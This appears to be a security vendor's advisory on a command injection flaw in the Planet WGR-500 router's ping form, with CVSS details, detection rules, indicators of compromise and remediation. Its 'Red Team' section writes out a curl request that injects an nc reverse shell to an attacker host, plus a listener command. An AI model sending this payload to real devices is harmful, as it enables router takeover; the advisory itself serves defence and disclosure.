CVE-2025-54405

Executive Summary

CVE-2025-54405 is a critical OS command injection vulnerability in the Planet WGR-500 router firmware version v1.3411b190912. The flaw resides in the formPingCmd functionality, specifically within the ipaddr request parameter. An unauthenticated attacker can send a series of specially crafted HTTP requests to inject arbitrary operating system commands, leading to full device compromise. With a CVSS score of 8.8, this vulnerability poses a severe risk to network integrity and confidentiality. No public proof-of-concept (PoC) or patch is currently available, making immediate mitigation through network segmentation and monitoring essential.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability allows remote, unauthenticated attackers to execute arbitrary commands on the affected device, leading to full system takeover. The low attack complexity and lack of required privileges make this a high-priority threat for any organization using the Planet WGR-500.

Deep Dive & Mechanics

The formPingCmd functionality is designed to allow network administrators to ping an IP address from the router's web interface. The ipaddr parameter is passed directly to a system shell without proper sanitization or validation. An attacker can inject command separators (e.g., ;, |, &&) followed by arbitrary OS commands.

Example injection vector:

ipaddr=127.0.0.1;id

This would execute the id command on the router's operating system, returning the current user context.

The vulnerability is triggered via a series of HTTP requests, likely due to the router's session handling or request processing logic. The exact mechanism involves sending multiple crafted requests to the vulnerable endpoint, each injecting a portion of the payload to bypass any rudimentary input length checks.

Vulnerable vs. Patched Code

Vulnerable Code (formPingCmd in v1.3411b190912):

void formPingCmd(char *ipaddr) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ipaddr);
    system(cmd);
}

The ipaddr parameter is directly concatenated into the command string without validation.

Patched Code (hypothetical):

void formPingCmd(char *ipaddr) {
    char cmd[256];
    // Validate IP address format
    if (!is_valid_ip(ipaddr)) {
        return_error("Invalid IP address");
        return;
    }
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ipaddr);
    system(cmd);
}

A proper patch would include input validation to ensure only valid IP addresses are accepted, and ideally use a safer API like execvp with a whitelist of allowed characters.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Planet WGR-500 router with firmware v1.3411b190912.
2. Connect the router to an isolated network with a Kali Linux attacker machine.
3. Ensure the router's web interface is accessible from the attacker machine.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://<router-ip>/goform/formPingCmd
2. Craft a payload to execute a reverse shell:

   ipaddr=127.0.0.1;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> 4444 >/tmp/f
   

3. Send the payload via a POST request:

   curl -X POST http://<router-ip>/goform/formPingCmd -d "ipaddr=127.0.0.1;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> 4444 >/tmp/f"
   

4. Listen for the reverse shell on the attacker machine:

   nc -lvnp 4444
   

Note: Since no public PoC exists, this is a theoretical exploitation based on the vulnerability description.

Blue Team

Detection & Response:

1. Monitor HTTP POST requests to /goform/formPingCmd with suspicious ipaddr parameters containing shell metacharacters (;, |, &, $, `).
2. Enable logging on the router to capture all executed commands via system() calls.
3. Use network segmentation to isolate the router from critical assets.
4. Implement an intrusion detection system (IDS) rule to alert on command injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /goform/formPingCmd with ipaddr containing shell metacharacters.
  • Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444).
  • Unusual DNS queries or traffic patterns from the router.

• Host IOCs:

  • Presence of files like /tmp/f (FIFO pipe) on the router.
  • Unauthorized processes running on the router (e.g., nc, bash).
  • Modified system binaries or configuration files.

• Log IOCs:

  • Router logs showing execution of commands like id, whoami, or ls via the ping functionality.
  • Repeated failed login attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_54405_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Planet WGR-500 formPingCmd"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-54405"
    strings:
        $cmd_inject = /ipaddr=[^&]*[;&|`$]/
        $ping_cmd = "formPingCmd"
    condition:
        $ping_cmd and $cmd_inject
}

Sigma Rule

title: CVE-2025-54405 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to formPingCmd with command injection patterns
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/goform/formPingCmd'
        cs-uri-query|re: 'ipaddr=.*[;&|`$].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in IP addresses (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54405 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/formPingCmd"; http_uri; pcre:"/ipaddr=[^&]*[;&|`$]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the Planet WGR-500 router on a separate VLAN with strict access controls.
2. Disable remote management: If not required, disable the web interface or restrict access to trusted IPs only.
3. Monitor logs: Enable detailed logging and monitor for suspicious activity targeting the formPingCmd endpoint.

Long-term Fixes:

1. Firmware update: Await an official patch from Planet. Contact their support for an ETA.
2. Input validation: Implement strict input validation for the ipaddr parameter, allowing only valid IP addresses.
3. Use safer APIs: Replace system() with execvp() and a whitelist of allowed commands.
4. Web application firewall (WAF): Deploy a WAF with rules to block command injection patterns.

Workaround:

• If patching is not possible, consider replacing the device with a supported alternative.

Valters IT
Securing Your Digital Frontier